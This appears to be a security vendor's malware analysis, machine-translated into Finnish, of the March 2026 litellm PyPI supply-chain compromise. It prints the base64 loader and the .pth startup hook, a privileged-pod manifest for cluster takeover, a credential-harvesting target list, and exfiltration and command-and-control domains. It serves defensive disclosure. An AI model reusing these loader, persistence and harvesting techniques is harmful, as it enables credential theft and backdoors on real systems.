Miksi tämä Matters
24. maaliskuuta 2026 suosittu Python-paketti litellm, tuhansien ihmisten käyttämä universaali LLM-välityspalvelin enterprises reitittää liikennettä sovellusten ja tekoälypalveluntarjoajien, kuten OpenAI:n, Anthropicin, Googlen ja AWS Bedrockin, välillä, vaarantui hiljaa PyPI:ssä. Kaksi saastunutta versiota (1.82.7 ja 1.82.8) julkaistiin 13 minuutin sisällä toisistaan. Ne sisälsivät monivaiheisen hyötykuorman, joka varasti tunnistetiedot, vuodatti pilvisalaisuuksia, levisi sivusuunnassa Kubernetes-klustereiden kesken ja asensi pysyvän takaoven, jolla oli etäkoodin suoritusominaisuudet.
Noin 3.6 miljoonaa päivittäistä latausta ja syvällisen käyttöönoton pilvinatiivissa tekoälyinfrastruktuurissa ansiosta litellm on kaiken nykyaikaisten hyökkääjien himoitseman risteyksessä: API-avaimet kaikille tärkeimmille tekoälypalveluntarjoajille, pilvipohjaiset IAM-tunnistetiedot, Kubernetes-salaisuudet ja SSH-avaimet.
Mutta litellmin kompromissi ei ollut yksittäistapaus. Se oli huipentuma viisipäiväinen, viisi ekosysteemiä kattava kampanja uhkatoimijan, joka tunnetaan nimellä TeamPCP, kampanja, jossa ensin myrkytettiin turvaskannereita (Aqua Trivy, Checkmarx KICS) ja sitten käytettiin varastettuja CI/CD tunnistetiedot välittymään npm:ään, OpenVSX:ään ja lopulta PyPI:hin. Hyökkääjät aseistivat juuri ne työkalut, joita organisaatiot käyttävät toimitusketjujensa suojaamiseen.
Tämä hyökkäys edustaa askelmuutosta toimitusketjun uhkien kehittyneisyydessä. Monihyppyinen, ekosysteemien rajat ylittävä suunnittelu vaarantaa tietoturvatyökaluja korkean arvon saavuttamiseksi. tekoälyinfrastruktuuri, heijastaa suunnittelun ja operatiivisen kypsyyden tasoa, joka on yhdenmukaista yhä enemmän hyödykkeistettyjen hyökkäystyökalujen kanssa. Hyötykuormat iteroitiin reaaliajassa (lähdekoodissa esiintyy kolme hyötykuormavarianttia, mukaan lukien kommentoidut aiemmat versiot), C2-infrastruktuuri rekisteröitiin päivää ennen hyökkäystä ja vuotoalueet valittiin huolellisesti jäljittelemään laillisten toimittajien infrastruktuuria. Systemaattisesti kattava tunnistetietojen kerääjä, joka kattaa yli 15 kategoriaa, mukaan lukien niche-kohteet, kuten Cardanon allekirjoitusavaimet ja WireGuard-kokoonpanot, viittaa perusteellisuuteen, joka viittaa tekoälyavusteisen haittaohjelmien kehityksen voimaannuttavaan vaikutukseen.
Aikajana
| Päivämäärä (UTC) | Tapahtuma |
|---|---|
| maaliskuu 19 | TeamPCP murtaa Aqua Trivy GitHub Action -tunnisteet korvaamalla ne haitallisella koodilla, joka tunkeutuu CI/CD salaisuudet loppupään arkistoista |
| maaliskuu 21 | Kompromissi ulottuu Checkmarx KICS- ja AST GitHub Actions -toimintoihin, jotka käyttävät samankaltaisia tekniikoita |
| 22. maaliskuuta, klo 10.52 | BerriAI julkaisee litellm 1.82.6:n (viimeisin puhdas versio) normaalin kautta CI/CD pipeline joka käyttää Trivyä turvaskannaukseen |
| maaliskuu 23 | TeamPCP rekisteröi models.litellm.cloud-tiedoston (exfiltration-domeeni). Vaarantaa yli 66 npm-pakettia ja OpenVSX-laajennuksia. |
| 24. maaliskuuta, klo 10.52 | litellm 1.82.7 julkaistu PyPI:hin -- hyötykuorma syötetty proxy_server.py moduulin laajuudessa. Suoritetaan tuonnin yhteydessä |
| 24. maaliskuuta, klo 10.52 | litellm 1.82.8 julkaistiin 13 minuuttia myöhemmin -- lisää litellm_init.pth, Pythonin polun konfigurointikoukku, joka suoritetaan jokaisen Python-tulkin käynnistyksen yhteydessä, ei vain litellm-tuonnin yhteydessä. Näyttää nopean hyötykuorman iteraation |
| 24. maaliskuuta, klo 16.00 | PyPI poistaa molemmat versiot yhteisön raporttien jälkeen. Versiot poistetaan kokonaan (ei riennetä) hakemistosta, vaikka CDN-tarballit pysyvät saatavilla. |
Altistusaika: noin 5.5 tuntia. Tänä aikana mikä tahansa pip install litellm, pip install --upgrade litellm, tai CI/CD pipeline Uusimman version vetäminen olisi suorittanut hyötykuorman.
Miten haittaohjelma pääsi sisään: Kaskadinen kompromissi
Litellm-pakettia ei murrettu suoraan. Hyökkääjä pääsi siihen käsiksi a:n kautta. kahden hypyn toimitusketjuhyökkäys:
Aqua Trivy GitHub Action (compromised March 19) --> LiteLLM CI/CD pipeline runs Trivy without pinned version --> Malicious Trivy exfiltrates PYPI_PUBLISH token from GitHub Actions runner --> Attacker publishes poisoned litellm 1.82.7 and 1.82.8 directly to PyPI LiteLLM:t CI/CD pipeline käytti Trivyä turvaskannerina – juuri se haavoittuvuuksien havaitsemiseen suunniteltu työkalu oli itse hyökkäysvektori. Koska pipeline viittasi Trivyyn muokattavan tunnisteen avulla kiinnitetyn tunnisteen sijaan commit SHA, vaarantunut toiminto suoritettiin automaattisesti. Haitallinen Trivy-toiminto vuoti ympäristön salaisuuksia, mukaan lukien PYPI_PUBLISH token, joka antaa TeamPCP:lle suoran julkaisuoikeuden litellm PyPI -projektiin.
Tämä ”vartijoiden vaarantaminen” -strategia on TeamPCP-kampanjan tunnusmerkki. Kohdistamalla hyökkäykset ensin tietoturvatyökaluihin (Trivy, Checkmarx KICS) hyökkääjät samanaikaisesti estivät havaitsemisen ja saivat etuoikeutetun pääsyn toimitusketjujen loppupäähän.
Tekninen analyysi: Hyötykuorma
Injektiopisteet
Versio 1.82.7 — Moduulitason toteutus litellm/proxy/proxy_server.py (rivi 128):
import subprocess, base64, sys, tempfile, os b64_payload = "<~12KB base64 blob>" with tempfile.TemporaryDirectory() as d: p = os.path.join(d, "p.py") with open(p, "wb") as f: f.write(base64.b64decode(b64_payload)) subprocess.run([sys.executable, p]) Tämä koodi sijaitsee moduulin laajuusalueella sanakirjakirjaimen ja alkuperäisen välissä. showwarning() funktio. Se suoritetaan välittömästi, kun litellm.proxy.proxy_server tuodaan — mikä tapahtuu aina, kun litellmin välityspalvelintoimintoja käytetään.
Versio 1.82.8 — lisätty litellm_init.pth (Python-polun määritystiedosto):
import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"], ...) Python .pth tiedostot site-packages/ käsitellään jokaisen tulkin käynnistyksen yhteydessä, mutta vain rivit, jotka alkavat import suoritetaan koodina. Hyökkääjä hyödyntää tätä ketjuttamalla koko hyötykuorman yhdelle import toteamus: import os, subprocess, sys; subprocess.Popen(...)Tämä on paljon aggressiivisempaa kuin proxy_server.py-injektio — se käynnistyy, vaikka litelm-tiedostoa ei koskaan tuotaisi, jokaisen Python-prosessin käynnistyksen yhteydessä. pyproject.toml muokattiin lisäämään tämä tiedosto jakeluun:
include = [ { path = "litellm_init.pth", format = ["sdist", "wheel"] } ] Versiolla 1.82.8 on siis kaksi toisistaan riippumatonta suorituspolkuaproxy_server.py-injektio (käynnistyy litellm-välityspalvelimen tuonnin yhteydessä) ja .pth-tiedosto (käynnistyy minkä tahansa Pythonin käynnistyksen yhteydessä). Redundanssi on itsessään huomattava – se suojaa kummankin polun havaitsemiselta tai poistamiselta erikseen. Suorituskyvyn eskaloituminen tuontiajasta käynnistysajan suoritukseen vain 13 minuuttia 1.82.7-version jälkeen viittaa siihen, että hyökkääjä seurasi käyttöönoton onnistumista ja iteroi nopeasti.
Vaihe 1: Kattava valtakirjojen keruu
Dekoodattu sisäinen käsikirjoitus on pikkutarkka valtakirjatyhjiö. Se käyttää os.walk(), glob.glob(), subprocess.check_output()ja suoria tiedostojen lukuja koko järjestelmän pyyhkäisyä varten:
| Luokka | Tavoitteet |
|---|---|
| Järjestelmän uudelleenohjaus | hostname, whoami, uname -a, ip addr, printenv, ip route |
| SSH | ~/.ssh/id_rsa, id_ed25519, id_ecdsa, authorized_keys, known_hosts, config; isäntäavaimet osoitteesta /etc/ssh/ |
| Pilvi (AWS) | ~/.aws/credentials, ~/.aws/configIMDS-roolin tunnistetiedot kautta 169.254.169.254Salaisuuksien hallinta ListSecretsYhteinen valvonta DescribeParameters |
| Pilvi (GCP) | ~/.config/gcloud/ (rekursiivinen); $GOOGLE_APPLICATION_CREDENTIALS |
| Pilvi (Azure) | ~/.azure/ (rekursiivinen); ympäristömuuttujat |
| Kubernetes | Palvelutilin tunnukset; ca.crt; nimiavaruus; kubectl get secrets --all-namespaces; kaikki salaisuudet K8s API:n kautta |
| Ympäristötiedostot | .env, .env.local, .env.production, .env.development, .env.staging — haettiin rekursiivisesti (syvyys 6) läpi /home, /root, /opt, /srv, /var/www, /app, /data, /tmp |
| Satamatyöläinen | ~/.docker/config.json, /kaniko/.docker/config.json |
| Pakettitunnukset | ~/.npmrc, ~/.vault-token, ~/.netrc |
| Tietokannat | ~/.pgpass, ~/.my.cnf, /etc/mysql/my.cnf, /etc/redis/redis.conf, MongoDB-konfiguraatiot |
| TLS / SSL | Yksityiset avaimet lähettäjältä /etc/ssl/private/, Salataan varmenteet, kaikki .pem/.key/.p12/.pfx Tiedostojen |
| mennä | ~/.git-credentials, ~/.gitconfig |
| CI/CD | terraform.tfvars, terraform.tfstate, .gitlab-ci.yml, Jenkinsfile, ansible.cfg |
| Krypto lompakot | Bitcoin, Ethereum-avainten säilytys, Solana-avainparit (validaattori, äänestys, panos, hana), Cardanon allekirjoitusavaimet, Litecoin, Dogecoin, Zcash, Dash, Ripple, Monero |
| Shellin historia | .bash_history, .zsh_history, .mysql_history, .psql_history, .rediscli_history |
| Järjestelmän todennus | /etc/passwd, /etc/shadow, todennuslokit (hyväksytyt SSH-istunnot) |
| Webhook/API-avaimet | Grep Slack-verkkoa vartenhooks, Discord-verkkohooks, API-avaimet/salaisuudet määritystiedostoissa |
| VPN | WireGuard-konfiguraatiot osoitteesta /etc/wireguard/ |
Tämän harvesterin laajuus on tietosanakirjamainen. Se kohdistuu pilvitunnistetietojen lisäksi myös kryptovaluuttalompakoihin, tietokantojen salasanoihin, VPN-määrityksiin ja CI/CD salaisuuksia – jotka viittaavat siihen, että hyökkääjä aikoo ansaita rahaa vaarantuneilla järjestelmillä useiden eri vektorien kautta.
Vaihe 2: Salattu suodatus
Varastetut tiedot salataan ja puretaan hybridi-salausmenetelmällä:
- AES-256-CBC kaikkien kerättyjen tietojen salaus satunnaisella 32-tavuisella istuntoavaimella (kautta
openssl enc) - RSA-4096 istuntoavaimen salaus hyökkääjän upotetun julkisen avaimen avulla (OAEP-täyte, kautta
openssl pkeyutl) - Molemmat salatekstitiedostot niputetaan nimellä
tpcp.tar.gz(tpcpetuliite — ”TeamPCP” — esiintyy johdonmukaisesti koko kampanjassa) - HTTPS POST kohteeseen
https://models.litellm.cloud/Content-Type: application/octet-stream
Verkkotunnus models.litellm.cloud rekisteröitiin 23. maaliskuuta – päivää ennen hyökkäystä – ja se on suunniteltu sulautumaan lailliseen litelm-infrastruktuuriin (varsinainen projekti käyttää litellm.ai). Edes verkkoa ymmärtävä puolustaja, joka tarkastelee lähtevää liikennettä, ei välttämättä merkitse liikennettä, joka näyttää olevan litellmin oma mallin päätepiste.
Vaihe 3: Pysyvä takaovi (sysmon.py)
Hyötykuorma asentaa järjestelmätelemetriaksi naamioidun kyselytakaportin:
- Polun,:
~/.config/sysmon/sysmon.py - Palvelu:
sysmon.service(systemd-käyttäjäyksikkö, jota kuvataan nimellä ”Järjestelmän telemetriapalvelu”) - KäyttäytyminenAlkuvaiheen 300 sekunnin unen jälkeen kyselyt
https://checkmarx.zone/rawnoin 50 minuutin välein - Teloitus: Lataa C2:n palauttaman URL-osoitteen kohteeseen
/tmp/pglog, asettaa sen suoritettavaksi (chmod 755), suorittaa sen erillisessä istunnossa - Valtion seuranta:
/tmp/.pg_stateestää saman hyötykuorman uudelleenlataamisen - Sitkeys:
Restart=always,RestartSec=10— selviää kaatumisista ja uudelleenkäynnistyksistä
Verkkotunnus checkmarx.zone on Checkmarxin (tietoturvayhtiön) typosquat checkmarx.com), joka on suunniteltu siten, että verkkolokeja tarkastelevat SOC-analyytikot näkisivät liikenteen näennäisesti lailliselle tietoturvatoimittajalle. Tämä on tarkoituksellinen väistötekniikka, joka on yhdenmukainen TeamPCP:n laajemman strategian kanssa piiloutua tietoturvatoimittajan brändäyksen taakse.
Vaihe 3b: Kubernetesin sivuttaisliike
Jos vaarantuneella järjestelmällä on Kubernetes-palvelutilin tunnistetiedot, haittaohjelma luetteloi kaikki klusterisolmut ja ottaa käyttöön etuoikeutetut podit jokaiselle:
pod_manifest = { 'apiVersion': 'v1', 'kind': 'Pod', 'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'}, 'spec': { 'nodeName': node_name, 'hostPID': True, 'hostNetwork': True, 'tolerations': [{'operator': 'Exists'}], 'containers': [{ 'name': 'setup', 'image': 'alpine:latest', 'command': ['sh', '-c', drop_cmd], 'securityContext': {'privileged': True}, 'volumeMounts': [{'name': 'host', 'mountPath': '/host'}] }], 'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}], 'restartPolicy': 'Never' } } Jokainen lohko:
- Toimii nimellä etuoikeutettu
hostPID,hostNetworkja täysi pääsy isäntätiedostojärjestelmään - käytät
chroot /hostasentaa samanlaisensysmon.pytakaovi isännän juurijärjestelmässä - Rekisteröi sen systemd-palveluksi varmistaen, että pysyvyys säilyy podin poiston jälkeen
- nimetty
node-setup-*vuonnakube-systemnimiavaruuden näyttämiseksi laillisena klusteri-infrastruktuurina
Tämä tarkoittaa yksittäinen vaarantunut CI/CD K8s-käyttöoikeudella varustettu juoksija voi johtaa siihen, että jokainen klusterin solmu joutuu takaportille — katastrofaalinen sivuttaissiirtymäskenaario organisaatioille, jotka käyttävät litellmiä välityspalvelimena Kubernetesissa.
Hyötykuorman kehitys (kommentoidut versiot)
Lähdekoodi riveillä 131–132 sisältää kaksi kommentoitua aiempaa hyötykuormavarianttia, jotka paljastavat hyökkääjän kehitysprosessin:
- Kaikki kolme varianttia jakavat saman ulossuodatusinfrastruktuurin (
models.litellm.cloud), RSA-4096 julkinen avain, AES-256-CBC + RSA-hybridisalauskääre jatpcp.tar.gznipun nimeäminen - Aikaisemmat variantit lisäsi RC4-salauskerros tiedonkeruukoneen sisällä salaamalla kerätyn datan ennen ulompaa AES+RSA-käärettä. Aktiivinen hyötykuorma (rivi 130) yksinkertaistui poistamalla tämä sisempi RC4-kerros
- Aikaisemmat variantit käyttävät
exec()StringIOkerääjä suorittaa keräilijän prosessin aikana, kun aktiivinen hyötykuorma käyttääsubprocess.run()stdout-uudelleenohjauksella — puhtaampi erottelu, joka välttää isäntäprosessin saastumisen - Kaikki kolme varianttia kohdistuvat samoihin tunnistetietoluokkiin ja keräyspolkuihin
- Aiemmissa muunnelmissa käytetty RC4-avain oli provosoiva solvaus, joka oli yhdenmukainen näyttelijän huomionhakuisen käyttäytymisen kanssa Telegramissa.
Tämä paljastaa aktiivisen kehityksen operaation aikana. Hyökkääjä yksinkertaisti salauspinoa ja paransi suorituksen eristämistä pitäen samalla keräyskohteet ja tietovuodon infrastruktuurin vakaina.
Kompromissin indikaattorit (IOC)
verkkotuotteet
| Osoitin | Tyyppi | Tarkoitus |
|---|---|---|
models.litellm.cloud | Domain | Exfiltration päätepiste (HTTPS POST) |
checkmarx.zone | Domain | C2-kyselyn päätepiste (HTTPS GET /raw) |
Huomautus: Ulkoiset raportointilinkit checkmarx.zone/static/checkmarx-util-1.0.4.tgz TeamPCP-kampanjan aiempaan KICS-vaiheeseen. Tätä URL-osoitetta ei löytynyt tässä analysoiduista litellm-hyötykuormista.
Pakettihajautusarvot
| filee | SHA256 |
|---|---|
litellm-1.82.7.tar.gz | 8a2a05fd8bdc329c8a86d2d08229d167500c01ecad06e40477c49fb0096efdea |
litellm-1.82.8.tar.gz | d39f4e7a218053cce976c91eacf184cf09a6960c731cc9d66d8e1a53406593a5 |
File System
| Osoitin | Tyyppi | Tarkoitus |
|---|---|---|
~/.config/sysmon/sysmon.py | filee | Pysyvä takaportin komentosarja |
~/.config/systemd/user/sysmon.service | filee | Systemd-persistenssiyksikkö |
/tmp/pglog | filee | Ladattu toisen vaiheen binääritiedosto |
/tmp/.pg_state | filee | C2-tilan seuranta |
litellm_init.pth in site-packages/ | filee | Pythonin käynnistyskoukku (vain versio 1.82.8) |
tpcp.tar.gz | filee | Salattu tietovuodon purkauspaketti |
Kubernetes
| Osoitin | Tyyppi | Tarkoitus |
|---|---|---|
node-setup-* palkoja sisään kube-system | Palko | Etuoikeutetut sivuttaisliikkeen kapselit |
sysmon.service klusterisolmuissa | Palvelu | Isäntätason pysyvyys pod-escapen kautta |
Salauspalvelut
| Osoitin | Lisätiedot |
|---|---|
| Hyökkääjän RSA-4096-julkinen avain | SHA256-sormenjälki: bc40e5e2c438032bac4dec2ad61eedd4e7c162a8b42004774f6e4330d8137ba8Upotettu kaikkiin kolmeen hyötykuormavarianttiin; sama avain raportoidaan muissa TeamPCP-toiminnoissa. |
tpcp etuliite esineissä | Pakettien nimeämiskäytäntö (tpcp.tar.gz) johdonmukainen koko kampanjan ajan |
Nimeä: TeamPCP
Tämän kampanjan takana olevaa uhkatoimijaa seurataan nimellä TeamPCP, joka tunnetaan myös nimillä PCPcat, Persy_PCP, ShellForce ja DeadCatx3.
Tunnetut ominaisuudet:
- Ylläpitää Telegram-kanavia osoitteessa
@Persy_PCPja@teampcpjossa he pilkkasivat turvallisuusyrityksiä - Toimii useissa ekosysteemeissä (GitHub Actions, PyPI, npm, OpenVSX)
- Käyttää toimittajakohtaisia typosquat-verkkotunnuksia kampanjan jokaisessa vaiheessa (esim.
checkmarx.zoneCheckmarxillemodels.litellm.cloudlitellm:lle) - Yhtenäiset infrastruktuurimerkit: sama RSA-avainpari,
tpcp.tar.gznimeämiskäytäntötpcp-docs-*GitHub-arkistot, joita käytetään dead drop -testauspaikkana - Kohdistaa turvallisuustyökalut sisäänpääsypisteiksi toimitusketjujen loppupäähän
AttribuutiovarmuusKorkea. Jaettu RSA-julkinen avain, tpcp Artefaktien nimeäminen, C2-infrastruktuurin päällekkäisyys ja operatiivinen tempo viisipäiväisen kampanjan aikana yhdistävät vahvasti Trivyn, KICS:n, npm:n, OpenVSX:n ja litellmin kompromissit samaan toimijaan.
MotivoiminenTodennäköisesti taloudellinen (kryptolompakoiden varkaus, pilvipalvelussa tapahtuva tunnistetietojen rahaksi muuttaminen) yhdistettynä tunnettuun maineeseen (Telegram-häirintä). Tunnistetietojen keräämisen laajuus – AWS IAM:stä Solana-validointiavainpareihin ja WireGuard-konfiguraatioihin – viittaa taloudellisesti motivoituneeseen toimijaan, joka pyrkii maksimoimaan jokaisen tietomurron ROI:n.
Mahdollinen tekoälyn apuTunnistetietojen kerääjä on systemaattisesti kattava – yli 15 kategoriaa, mukaan lukien erityistarpeita, kuten Cardanon allekirjoitusavaimet, WireGuard-konfiguraatiot ja Kaniko Dockerin tunnistetiedot – tavalla, joka on yhdenmukainen tekoälyavusteisen luetteloinnin kanssa. Hyötykuorman iteroinnin nopeus (kolme varianttia eri salausmenetelmillä), ekosysteemien välinen koordinointi (5 ekosysteemiä 5 päivässä) ja toiminnallinen OPSEC (toimittajan henkilöllisyyden mukaiset verkkotunnukset, hybridisalaus, systemd-pysyvyys naamioituna telemetriaksi) viittaavat läpimenon tasoon, joka saattaa heijastaa tekoälyavusteista kehitystä voimakertoimena. Tämä arvio on spekulatiivinen; taitavat operaattorit voisivat saavuttaa samanlaisen laajuuden ilman tekoälytyökaluja.
Uudet TTP:t ja tekniikat
1. Turvallisuustyökalun toimitusketjun myrkytys (T1195.002-variantti)
Turvaskannerien (Trivy, KICS) vaarantaminen ensimmäisenä keinona päästä alavirran kohteisiin on uusi ongelma. Hyökkääjä ei vaarantanut vain kirjastoa – hän vaaransi työkalut, joita organisaatiot käyttävät havaita vaarantuneet kirjastot. Tämä luo sokean pisteen: skanneri, jonka pitäisi havaita haitallinen koodi, on itse sen toimitusmekanismi.
2. pytonkäärme .pth Tiedoston säilyvyys (T1546)
litellm_init.pth v1.82.8:n tekniikka on erityisen salakavala. Python .pth tiedostot site-packages/ käsitellään jokaisen tulkin käynnistyksen yhteydessä; mikä tahansa rivi, joka alkaa import suoritetaan koodina. Ketjuttamalla hyötykuorma yhdelle import lausekkeen avulla hyökkääjä suorittaa jokaisen Python-prosessin – ei vain silloin, kun litelm on tuotu. Tämä tarkoittaa, että hyötykuorma laukeaa, vaikka litelm olisi asennettuna, mutta sitä ei koskaan käytettäisi, ja se selviää korjauksesta, joka korvaa vaarantuneen prosessin. .py tiedostoja tarkistamatta .pth tiedostoja.
3. Kubernetes-klusterin laajuinen sivuttaisliike Privileged Pod -käyttöönoton kautta (T1610, T1611)
Etuoikeutettujen podien automaattinen luonti jokaiselle klusterisolmulle — hostPID, hostNetwork, isäntätiedostojärjestelmän liitos ja chroot asentamaan persistence — chains -konttien käyttöönotto (T1610) ja esc-komennon isäntään (T1611), jotta yksi vaarantunut työkuorma voidaan muuntaa täydelliseksi klusterin vaarantuneeksi työmääräksi.
4. Toimittajan kaltainen C2-infrastruktuuri
Käyttäminen models.litellm.cloud (matkii litellmiä) ja checkmarx.zone (jäljittelee Checkmarxia) C2/exfil-päätepisteinä on suunniteltu kiertämään verkon valvontaa. Lähtevää liikennettä tarkastelevat SOC-analyytikot näkisivät HTTPS-yhteyksiä näennäisesti laillisiin toimittajien verkkotunnuksiin.
5. Nopea hyötykuorman iteraatio lennon aikana
Version 1.82.7 julkaiseminen tuonnin aikana ja sitten version 1.82.8 julkaiseminen käynnistyksen aikana 13 minuuttia myöhemmin osoittaa, että hyökkääjä seuraa ja sopeutuu reaaliajassa. Lähdekoodissa säilytetyt kommentoidut hyötykuormavariantit (eri salausmenetelmillä) vahvistavat aktiivisen kehityksen operaation aikana.
Mitä voidaan tehdä
Tämä hyökkäys hyödyntää luottamusta kaikilla tasoilla: luottamusta tietoturvatyökaluihin, luottamusta pakettirekistereihin, luottamusta tutunnäköisiin verkkotunnuksiin, luottamusta CI/CD automaatio. Siltä puolustautuminen edellyttää kaikkien näiden luottamusrajojen tiukentamista:
Pakettien kuluttajille
- Riippuvuudet kannattaa kiinnittää tiivisteen, ei pelkän version, perusteella.
pip install litellm==1.82.6 --hash=sha256:...olisi estänyt vaarantuneiden versioiden asentamisen, vaikka ne olisivat hetken näyttäneet uusimmilta versioilta. - Käytä lukitustiedostoja.
pip-compile,poetry.lockjauv.locktallentaa tarkat versiot ja tiivisteet. CI/CD pitäisi asentaa lukitustiedostoista, ei kelluvista versiomäärittelijöistä. - Monitor
.pthtiedostoja. Tarkasta säännöllisestisite-packages/odottamattomille.pthtiedostot — ne suoritetaan jokaisella Pythonin käynnistyksellä ja ovat aliarvostettu pysyvyysmekanismi. - Toteuta lähtevän liikenteen verkon hallinta. Suodattaminen kohteeseen
models.litellm.cloudja C2-kyselycheckmarx.zonesallittujen luetteloon perustuva lähtevän liikenteen suodatus olisi voinut havaita sen tuotantoympäristöissä.
Pakettiylläpitäjille
- Pin CI/CD toimet commit SHA, ei tagi. LiteLLM:t pipeline käytti Trivyä ilman kiinnitettyä versiota. Jos siinä olisi viitattu
aquasecurity/trivy-action@<commit-sha>sijasta@latest, vaarantunutta toimintoa ei olisi suoritettu. - Käytä lyhytikäisiä, rajattuja julkaisutunnuksia. PyPI tukee luotettuja julkaisijoita (OIDC-pohjaisia) ja laajuisia API-tokeneja. Poistettu
PYPI_PUBLISHtunnuksella ei olisi pitänyt olla pitkäaikaista, rajoittamatonta julkaisuoikeutta. - Ota kaksivaiheinen todennus käyttöön PyPI:ssä. Vaadi kaikilta ylläpitäjiltä kaksivaiheinen tunnistautuminen (2FA) ja käytä laitteistopohjaisia suojausavaimia aina kun mahdollista.
- Allekirjoita paketteja. Sigstore/PEP 740 -vahvistukset antavat kuluttajille mahdollisuuden varmistaa, että paketti on koottu odotettuun aikaan mennessä. CI/CD pipeline, ei hyökkääjän toimesta, jolla on varastettu token.
Alustaoperaattoreille (PyPI, npm, GitHub)
- Havaitse poikkeavat julkaisumallit. Kaksi uutta versiota, jotka on julkaistu 13 minuutin välein eri IP-osoitteesta tai tunnuksesta kuin tavallisesti, pitäisi käynnistää tarkistuspidätys tai automaattinen skannaus ennen kuin paketti on asennettavissa.
- Nopeuta luotettujen julkaisijoiden käyttöönottoa. OIDC-pohjainen julkaiseminen sitoo paketit tiettyihin tietovarastoihin ja työnkulkuihin, mikä tekee varastetuista tokeneista käyttökelvottomia alkuperäisen ulkopuolella. CI/CD yhteydessä.
- Ota käyttöön haittaohjelmien tarkistus julkaisun aikana. proxy_server.py-tiedostossa oleva base64-dekoodattu hyötykuorma olisi havaittavissa staattisella analyysillä julkaisun yhteydessä.
Ekosysteemille
- Käsittele tietoturvatyökaluja kriittisenä infrastruktuurina. Miljoonat ihmiset käyttävät Trivyä ja Checkmarxin KICS-palveluita pipelines. Heidän GitHub-toimintonsa tulisi allekirjoittaa, kiinnittää ja valvoa yhtä tarkasti kuin heidän skannaamansa paketit.
- Investoi ajonaikaiseen havaitsemiseen. Staattinen analyysi yksinään ei pysty havaitsemaan kaikkia hämärrystekniikoita. Pakettien asennuksen ajonaikainen valvonta hooks, odottamattomien verkkoyhteyksien ja epäilyttävien tiedostojen käyttömallien havaitseminen tarjoaa perusteellisen puolustuksen.
- Jaa uhkatietoja nopeammin. Litellmin 5.5 tunnin altistumisaika olisi voinut olla lyhyempi nopeammalla toimittajien välisellä koordinoinnilla. Automaattiset skannauspalvelut, kuten Xygeni MEW, Socket ja Snyk, havaitsivat poikkeaman – pullonkaulana on ihmisen vahvistus ja rekisterin vasteaika.
Yhteenveto
TeamPCP-kampanja on käännekohta software supply chain securityVaarantamalla ensin turvaskannerit ja käyttämällä niitä askelmina arvokkaan tekoälyinfrastruktuurin luo, hyökkääjät osoittivat, että toimitusketju on vain niin vahva kuin sen heikoin transitiivinen riippuvuus ja että tämä riippuvuus voi olla turvatyökalu, johon luotat pitääksesi sinut turvassa.
Litellmin kompromissi korostaa erityisesti tekoälyinfrastruktuuriin kohdistuvaa kasvavaa riskiä. LLM-välityspalvelinyhdyskäytävien tullessa... standard malli enterprise Tekoälykäyttöönotossa ne keskittävät pääsyn API-avaimiin, pilvitunnistetietoihin ja arkaluontoisiin tietoihin yhteen komponenttiin. Tämän komponentin vaarantaminen on koko tekoälypinon perusavain.
Organisaatioiden, jotka asensivat litellm 1.82.7:n tai 1.82.8:n 5.5 tunnin aikana, tulisi käsitellä tätä täydellisenä tunnistetietojen vaarantumisena: kierrättää kaikkia salaisuuksia kyseisissä järjestelmissä ja auditoida Kubernetes-klustereita node-setup-* palkoja sisään kube-system, poista kaikki sysmon.service systemd-yksiköt ja tarkista litellm_init.pth Pythonissa site-packages/ hakemistoja. Virallisen Docker-kuvan käyttäjät (ghcr.io/berriai/litellm) eivät muuttuneet, koska kuva kiinnitti riippuvuutensa eikä sitä rakennettu uudelleen valotusajan aikana.
kirjailijasta
Perustaja ja teknologiajohtaja
Luis Rodriguez on Xygeni Securityn toinen perustaja ja teknologiajohtaja. Hänellä on yli 20 vuoden kokemus sovellusturvallisuudesta, ja hän keskittyy sovellusturvallisuuden suojaukseen ja edistyneisiin koodianalyysiominaisuuksiin, jotka auttavat tiimejä vähentämään todellista toimitusriskiä.




